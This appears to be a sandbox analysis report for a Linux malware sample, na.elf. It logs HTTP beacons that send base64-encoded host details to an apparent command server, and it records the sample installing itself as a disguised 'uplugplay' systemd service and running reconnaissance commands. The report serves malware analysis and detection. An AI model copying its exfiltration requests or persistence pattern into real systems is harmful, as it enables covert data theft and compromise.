                      Session IDSource IPSource PortDestination IPDestination Port
                      1192.168.2.1334340152.36.128.1880
                      TimestampBytes transferredDirectionData
                      Mar 18, 2025 02:22:12.354269028 CET755OUTGET /cgi-bin/p.cgi?add=aW5mbyB7DQp2NC4wMlZfVW5peDY0DQpnYWxhc3NpYQ0KDQoyeCBJbnRlbChSKSBYZW9uKFIpIFNpbHZlciA0MjEwIENQVSBAIDIuMjBHSHoNCjMwNjQyOTYga0INCg0KDQoNCg0KVWJ1bnR1ICYgMjAuMDQuMiBMVFMgKEZvY2FsIEZvc3NhKSAgJiBidWxsc2V5ZS9zaWQgJiANCg0KL3Vzci9zYmluLw0KIDIwOjIyOjExIHVwIDIgbWluLCAgMSB1c2VyLCAgbG9hZCBhdmVyYWdlOiAyLjMzLCAxLjU1LCAwLjY0fDE3NDIyNjA5MzENCkxpbnV4IGdhbGFzc2lhIDUuNC4wLTcyLWdlbmVyaWMgIzgwLVVidW50dSBTTVAgTW9uIEFwciAxMiAxNzozNTowMCBVVEMgMjAyMSB4ODZfNjQgeDg2XzY0IHg4Nl82NCBHTlUvTGludXgNCn0NCg__&i=Z365QFP4YMZGET73&h=galassia&enckey=pFzmmKV/epdgArDY+RzmJgl/p4ULsJRH3hofgBTDU82c4ORWyPngN6czRkkosIxeDGgSosEYFcCMn51C+D0wHXo2k7Ww9OUtPk832nopbu8LNOK2E4ecStMuDDehKH4Pu943C7qLRVYSsskGJqRVuhlR+EIDjr2Uv6kUsb1rwIk= HTTP/1.0
                      Host: 152.36.128.18
                      Mar 18, 2025 02:22:13.021606922 CET274INHTTP/1.1 200 OK
                      Date: Tue, 18 Mar 2025 01:22:12 GMT
                      Server: Apache/2.2.8 (Win32) mod_ssl/2.2.8 OpenSSL/0.9.8g PHP/5.2.6
                      Content-Length: 3
                      Connection: close
                      Content-Type: text/html; charset=windows-1251
                      Data Raw: 6f 6b 21 0d 0a 43 6f 6e 74 65 6e 74 2d 74 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 31 0a 0a
                      Data Ascii: ok!Content-type: text/html; charset=windows-1251


                      Session IDSource IPSource PortDestination IPDestination Port
                      2192.168.2.134063452.43.119.12080
                      TimestampBytes transferredDirectionData
                      Mar 18, 2025 02:24:14.652112961 CET281OUTGET /cgi-bin/p.cgi?r=0&auth=hash&i=Z365QFP4YMZGET73&enckey=pFzmmKV/epdgArDY-RzmJgl/p4ULsJRH3hofgBTDU82c4ORWyPngN6czRkkosIxeDGgSosEYFcCMn51C-D0wHXo2k7Ww9OUtPk832nopbu8LNOK2E4ecStMuDDehKH4Pu943C7qLRVYSsskGJqRVuhlR-EIDjr2Uv6kUsb1rwIk_ HTTP/1.0
                      Host: xinchaobhcfda.net


                      System Behavior

                      Start time (UTC):01:21:57
                      Start date (UTC):18/03/2025
                      Path:/tmp/na.elf
                      Arguments:/tmp/na.elf
                      File size:435932 bytes
                      MD5 hash:31c821424d2b8246786682d28af24c3d

                      Start time (UTC):01:21:57
                      Start date (UTC):18/03/2025
                      Path:/tmp/na.elf
                      Arguments:-
                      File size:435932 bytes
                      MD5 hash:31c821424d2b8246786682d28af24c3d

                      Start time (UTC):01:21:57
                      Start date (UTC):18/03/2025
                      Path:/bin/sh
                      Arguments:sh -c "pgrep na.elf"
                      File size:129816 bytes
                      MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                      Start time (UTC):01:21:57
                      Start date (UTC):18/03/2025
                      Path:/bin/sh
                      Arguments:-
                      File size:129816 bytes
                      MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                      Start time (UTC):01:21:57
                      Start date (UTC):18/03/2025
                      Path:/usr/bin/pgrep
                      Arguments:pgrep na.elf
                      File size:30968 bytes
                      MD5 hash:fa96a75a08109d8842e4865b2907d51f

                      Start time (UTC):01:21:58
                      Start date (UTC):18/03/2025
                      Path:/tmp/na.elf
                      Arguments:-
                      File size:435932 bytes
                      MD5 hash:31c821424d2b8246786682d28af24c3d

                      Start time (UTC):01:21:58
                      Start date (UTC):18/03/2025
                      Path:/bin/sh
                      Arguments:sh -c "pidof na.elf"
                      File size:129816 bytes
                      MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                      Start time (UTC):01:21:58
                      Start date (UTC):18/03/2025
                      Path:/bin/sh
                      Arguments:-
                      File size:129816 bytes
                      MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                      Start time (UTC):01:21:58
                      Start date (UTC):18/03/2025
                      Path:/usr/bin/pidof
                      Arguments:pidof na.elf
                      File size:27016 bytes
                      MD5 hash:f58f67968fc50f1497f9ea9e9c22b6e8

                      Start time (UTC):01:22:00
                      Start date (UTC):18/03/2025
                      Path:/tmp/na.elf
                      Arguments:-
                      File size:435932 bytes
                      MD5 hash:31c821424d2b8246786682d28af24c3d

                      Start time (UTC):01:22:00
                      Start date (UTC):18/03/2025
                      Path:/bin/sh
                      Arguments:sh -c "pgrep uplugplay"
                      File size:129816 bytes
                      MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                      Start time (UTC):01:22:00
                      Start date (UTC):18/03/2025
                      Path:/bin/sh
                      Arguments:-
                      File size:129816 bytes
                      MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                      Start time (UTC):01:22:00
                      Start date (UTC):18/03/2025
                      Path:/usr/bin/pgrep
                      Arguments:pgrep uplugplay
                      File size:30968 bytes
                      MD5 hash:fa96a75a08109d8842e4865b2907d51f

                      Start time (UTC):01:22:01
                      Start date (UTC):18/03/2025
                      Path:/tmp/na.elf
                      Arguments:-
                      File size:435932 bytes
                      MD5 hash:31c821424d2b8246786682d28af24c3d

                      Start time (UTC):01:22:01
                      Start date (UTC):18/03/2025
                      Path:/bin/sh
                      Arguments:sh -c "pidof uplugplay"
                      File size:129816 bytes
                      MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                      Start time (UTC):01:22:01
                      Start date (UTC):18/03/2025
                      Path:/bin/sh
                      Arguments:-
                      File size:129816 bytes
                      MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                      Start time (UTC):01:22:01
                      Start date (UTC):18/03/2025
                      Path:/usr/bin/pidof
                      Arguments:pidof uplugplay
                      File size:27016 bytes
                      MD5 hash:f58f67968fc50f1497f9ea9e9c22b6e8

                      Start time (UTC):01:22:01
                      Start date (UTC):18/03/2025
                      Path:/tmp/na.elf
                      Arguments:-
                      File size:435932 bytes
                      MD5 hash:31c821424d2b8246786682d28af24c3d

                      Start time (UTC):01:22:01
                      Start date (UTC):18/03/2025
                      Path:/bin/sh
                      Arguments:sh -c "pgrep upnpsetup"
                      File size:129816 bytes
                      MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                      Start time (UTC):01:22:01
                      Start date (UTC):18/03/2025
                      Path:/bin/sh
                      Arguments:-
                      File size:129816 bytes
                      MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                      Start time (UTC):01:22:01
                      Start date (UTC):18/03/2025
                      Path:/usr/bin/pgrep
                      Arguments:pgrep upnpsetup
                      File size:30968 bytes
                      MD5 hash:fa96a75a08109d8842e4865b2907d51f

                      Start time (UTC):01:22:03
                      Start date (UTC):18/03/2025
                      Path:/tmp/na.elf
                      Arguments:-
                      File size:435932 bytes
                      MD5 hash:31c821424d2b8246786682d28af24c3d

                      Start time (UTC):01:22:03
                      Start date (UTC):18/03/2025
                      Path:/bin/sh
                      Arguments:sh -c "pidof upnpsetup"
                      File size:129816 bytes
                      MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                      Start time (UTC):01:22:03
                      Start date (UTC):18/03/2025
                      Path:/bin/sh
                      Arguments:-
                      File size:129816 bytes
                      MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                      Start time (UTC):01:22:03
                      Start date (UTC):18/03/2025
                      Path:/usr/bin/pidof
                      Arguments:pidof upnpsetup
                      File size:27016 bytes
                      MD5 hash:f58f67968fc50f1497f9ea9e9c22b6e8

                      Start time (UTC):01:22:05
                      Start date (UTC):18/03/2025
                      Path:/tmp/na.elf
                      Arguments:-
                      File size:435932 bytes
                      MD5 hash:31c821424d2b8246786682d28af24c3d

                      Start time (UTC):01:22:05
                      Start date (UTC):18/03/2025
                      Path:/bin/sh
                      Arguments:sh -c "systemctl daemon-reload"
                      File size:129816 bytes
                      MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                      Start time (UTC):01:22:05
                      Start date (UTC):18/03/2025
                      Path:/bin/sh
                      Arguments:-
                      File size:129816 bytes
                      MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                      Start time (UTC):01:22:05
                      Start date (UTC):18/03/2025
                      Path:/usr/bin/systemctl
                      Arguments:systemctl daemon-reload
                      File size:996584 bytes
                      MD5 hash:4deddfb6741481f68aeac522cc26ff4b

                      Start time (UTC):01:22:05
                      Start date (UTC):18/03/2025
                      Path:/tmp/na.elf
                      Arguments:-
                      File size:435932 bytes
                      MD5 hash:31c821424d2b8246786682d28af24c3d

                      Start time (UTC):01:22:05
                      Start date (UTC):18/03/2025
                      Path:/bin/sh
                      Arguments:sh -c "systemctl enable uplugplay.service"
                      File size:129816 bytes
                      MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                      Start time (UTC):01:22:05
                      Start date (UTC):18/03/2025
                      Path:/bin/sh
                      Arguments:-
                      File size:129816 bytes
                      MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                      Start time (UTC):01:22:05
                      Start date (UTC):18/03/2025
                      Path:/usr/bin/systemctl
                      Arguments:systemctl enable uplugplay.service
                      File size:996584 bytes
                      MD5 hash:4deddfb6741481f68aeac522cc26ff4b

                      Start time (UTC):01:22:06
                      Start date (UTC):18/03/2025
                      Path:/tmp/na.elf
                      Arguments:-
                      File size:435932 bytes
                      MD5 hash:31c821424d2b8246786682d28af24c3d

                      Start time (UTC):01:22:06
                      Start date (UTC):18/03/2025
                      Path:/bin/sh
                      Arguments:sh -c "systemctl start uplugplay.service"
                      File size:129816 bytes
                      MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                      Start time (UTC):01:22:06
                      Start date (UTC):18/03/2025
                      Path:/bin/sh
                      Arguments:-
                      File size:129816 bytes
                      MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                      Start time (UTC):01:22:06
                      Start date (UTC):18/03/2025
                      Path:/usr/bin/systemctl
                      Arguments:systemctl start uplugplay.service
                      File size:996584 bytes
                      MD5 hash:4deddfb6741481f68aeac522cc26ff4b

                      Start time (UTC):01:22:05
                      Start date (UTC):18/03/2025
                      Path:/usr/lib/systemd/systemd
                      Arguments:-
                      File size:1620224 bytes
                      MD5 hash:9b2bec7092a40488108543f9334aab75

                      Start time (UTC):01:22:05
                      Start date (UTC):18/03/2025
                      Path:/usr/lib/systemd/system-environment-generators/snapd-env-generator
                      Arguments:/usr/lib/systemd/system-environment-generators/snapd-env-generator
                      File size:22760 bytes
                      MD5 hash:3633b075f40283ec938a2a6a89671b0e

                      Start time (UTC):01:22:06
                      Start date (UTC):18/03/2025
                      Path:/usr/lib/systemd/systemd
                      Arguments:-
                      File size:1620224 bytes
                      MD5 hash:9b2bec7092a40488108543f9334aab75

                      Start time (UTC):01:22:06
                      Start date (UTC):18/03/2025
                      Path:/usr/lib/systemd/system-environment-generators/snapd-env-generator
                      Arguments:/usr/lib/systemd/system-environment-generators/snapd-env-generator
                      File size:22760 bytes
                      MD5 hash:3633b075f40283ec938a2a6a89671b0e

                      Start time (UTC):01:22:07
                      Start date (UTC):18/03/2025
                      Path:/usr/lib/systemd/systemd
                      Arguments:-
                      File size:1620224 bytes
                      MD5 hash:9b2bec7092a40488108543f9334aab75

                      Start time (UTC):01:22:07
                      Start date (UTC):18/03/2025
                      Path:/usr/sbin/uplugplay
                      Arguments:/usr/sbin/uplugplay
                      File size:435932 bytes
                      MD5 hash:31c821424d2b8246786682d28af24c3d

                      Start time (UTC):01:22:07
                      Start date (UTC):18/03/2025
                      Path:/usr/sbin/uplugplay
                      Arguments:-
                      File size:435932 bytes
                      MD5 hash:31c821424d2b8246786682d28af24c3d

                      Start time (UTC):01:22:07
                      Start date (UTC):18/03/2025
                      Path:/usr/sbin/uplugplay
                      Arguments:-
                      File size:435932 bytes
                      MD5 hash:31c821424d2b8246786682d28af24c3d

                      Start time (UTC):01:22:07
                      Start date (UTC):18/03/2025
                      Path:/bin/sh
                      Arguments:sh -c "/usr/sbin/uplugplay -Dcomsvc"
                      File size:129816 bytes
                      MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                      Start time (UTC):01:22:07
                      Start date (UTC):18/03/2025
                      Path:/bin/sh
                      Arguments:-
                      File size:129816 bytes
                      MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                      Start time (UTC):01:22:07
                      Start date (UTC):18/03/2025
                      Path:/usr/sbin/uplugplay
                      Arguments:/usr/sbin/uplugplay -Dcomsvc
                      File size:435932 bytes
                      MD5 hash:31c821424d2b8246786682d28af24c3d

                      Start time (UTC):01:22:08
                      Start date (UTC):18/03/2025
                      Path:/usr/sbin/uplugplay
                      Arguments:-
                      File size:435932 bytes
                      MD5 hash:31c821424d2b8246786682d28af24c3d

                      Start time (UTC):01:22:08
                      Start date (UTC):18/03/2025
                      Path:/bin/sh
                      Arguments:sh -c hostnamectl
                      File size:129816 bytes
                      MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                      Start time (UTC):01:22:08
                      Start date (UTC):18/03/2025
                      Path:/bin/sh
                      Arguments:-
                      File size:129816 bytes
                      MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                      Start time (UTC):01:22:08
                      Start date (UTC):18/03/2025
                      Path:/usr/bin/hostnamectl
                      Arguments:hostnamectl
                      File size:26848 bytes
                      MD5 hash:b1245aa6d3c28b5d5fedb2d681d32eb9

                      Start time (UTC):01:22:08
                      Start date (UTC):18/03/2025
                      Path:/usr/sbin/uplugplay
                      Arguments:-
                      File size:435932 bytes
                      MD5 hash:31c821424d2b8246786682d28af24c3d

                      Start time (UTC):01:22:08
                      Start date (UTC):18/03/2025
                      Path:/bin/sh
                      Arguments:sh -c hostnamectl
                      File size:129816 bytes
                      MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                      Start time (UTC):01:22:09
                      Start date (UTC):18/03/2025
                      Path:/bin/sh
                      Arguments:-
                      File size:129816 bytes
                      MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                      Start time (UTC):01:22:09
                      Start date (UTC):18/03/2025
                      Path:/usr/bin/hostnamectl
                      Arguments:hostnamectl
                      File size:26848 bytes
                      MD5 hash:b1245aa6d3c28b5d5fedb2d681d32eb9

                      Start time (UTC):01:22:09
                      Start date (UTC):18/03/2025
                      Path:/usr/sbin/uplugplay
                      Arguments:-
                      File size:435932 bytes
                      MD5 hash:31c821424d2b8246786682d28af24c3d

                      Start time (UTC):01:22:09
                      Start date (UTC):18/03/2025
                      Path:/bin/sh
                      Arguments:sh -c "dmidecode --type baseboard"
                      File size:129816 bytes
                      MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                      Start time (UTC):01:22:09
                      Start date (UTC):18/03/2025
                      Path:/bin/sh
                      Arguments:-
                      File size:129816 bytes
                      MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                      Start time (UTC):01:22:09
                      Start date (UTC):18/03/2025
                      Path:/usr/sbin/dmidecode
                      Arguments:dmidecode --type baseboard
                      File size:121856 bytes
                      MD5 hash:37284ba29446fb2dadf1ce80f8139c1a

                      Start time (UTC):01:22:09
                      Start date (UTC):18/03/2025
                      Path:/usr/sbin/uplugplay
                      Arguments:-
                      File size:435932 bytes
                      MD5 hash:31c821424d2b8246786682d28af24c3d

                      Start time (UTC):01:22:09
                      Start date (UTC):18/03/2025
                      Path:/bin/sh
                      Arguments:sh -c uptime
                      File size:129816 bytes
                      MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                      Start time (UTC):01:22:09
                      Start date (UTC):18/03/2025
                      Path:/bin/sh
                      Arguments:-
                      File size:129816 bytes
                      MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                      Start time (UTC):01:22:09
                      Start date (UTC):18/03/2025
                      Path:/usr/bin/uptime
                      Arguments:uptime
                      File size:14568 bytes
                      MD5 hash:3ad70d8e33316ac713bf25c2ddf2fb14

                      Start time (UTC):01:22:10
                      Start date (UTC):18/03/2025
                      Path:/usr/sbin/uplugplay
                      Arguments:-
                      File size:435932 bytes
                      MD5 hash:31c821424d2b8246786682d28af24c3d

                      Start time (UTC):01:22:10
                      Start date (UTC):18/03/2025
                      Path:/bin/sh
                      Arguments:sh -c "uname -a"
                      File size:129816 bytes
                      MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                      Start time (UTC):01:22:10
                      Start date (UTC):18/03/2025
                      Path:/bin/sh
                      Arguments:-
                      File size:129816 bytes
                      MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                      Start time (UTC):01:22:10
                      Start date (UTC):18/03/2025
                      Path:/usr/bin/uname
                      Arguments:uname -a
                      File size:39288 bytes
                      MD5 hash:4ac7c634c5bec95753c480e9d421dcc2

                      Start time (UTC):01:22:10
                      Start date (UTC):18/03/2025
                      Path:/usr/sbin/uplugplay
                      Arguments:-
                      File size:435932 bytes
                      MD5 hash:31c821424d2b8246786682d28af24c3d

                      Start time (UTC):01:22:10
                      Start date (UTC):18/03/2025
                      Path:/bin/sh
                      Arguments:sh -c dmidecode
                      File size:129816 bytes
                      MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                      Start time (UTC):01:22:10
                      Start date (UTC):18/03/2025
                      Path:/bin/sh
                      Arguments:-
                      File size:129816 bytes
                      MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                      Start time (UTC):01:22:10
                      Start date (UTC):18/03/2025
                      Path:/usr/sbin/dmidecode
                      Arguments:dmidecode
                      File size:121856 bytes
                      MD5 hash:37284ba29446fb2dadf1ce80f8139c1a

                      Start time (UTC):01:22:11
                      Start date (UTC):18/03/2025
                      Path:/usr/sbin/uplugplay
                      Arguments:-
                      File size:435932 bytes
                      MD5 hash:31c821424d2b8246786682d28af24c3d

                      Start time (UTC):01:22:11
                      Start date (UTC):18/03/2025
                      Path:/bin/sh
                      Arguments:sh -c uptime
                      File size:129816 bytes
                      MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                      Start time (UTC):01:22:11
                      Start date (UTC):18/03/2025
                      Path:/bin/sh
                      Arguments:-
                      File size:129816 bytes
                      MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                      Start time (UTC):01:22:11
                      Start date (UTC):18/03/2025
                      Path:/usr/bin/uptime
                      Arguments:uptime
                      File size:14568 bytes
                      MD5 hash:3ad70d8e33316ac713bf25c2ddf2fb14

                      Start time (UTC):01:22:11
                      Start date (UTC):18/03/2025
                      Path:/usr/sbin/uplugplay
                      Arguments:-
                      File size:435932 bytes
                      MD5 hash:31c821424d2b8246786682d28af24c3d

                      Start time (UTC):01:22:11
                      Start date (UTC):18/03/2025
                      Path:/bin/sh
                      Arguments:sh -c "uname -a"
                      File size:129816 bytes
                      MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                      Start time (UTC):01:22:11
                      Start date (UTC):18/03/2025
                      Path:/bin/sh
                      Arguments:-
                      File size:129816 bytes
                      MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                      Start time (UTC):01:22:11
                      Start date (UTC):18/03/2025
                      Path:/usr/bin/uname
                      Arguments:uname -a
                      File size:39288 bytes
                      MD5 hash:4ac7c634c5bec95753c480e9d421dcc2

                      Start time (UTC):01:22:08
                      Start date (UTC):18/03/2025
                      Path:/usr/lib/systemd/systemd
                      Arguments:-
                      File size:1620224 bytes
                      MD5 hash:9b2bec7092a40488108543f9334aab75

                      Start time (UTC):01:22:08
                      Start date (UTC):18/03/2025
                      Path:/lib/systemd/systemd-hostnamed
                      Arguments:/lib/systemd/systemd-hostnamed
                      File size:35040 bytes
                      MD5 hash:2cc8a5576629a2d5bd98e49a4b8bef65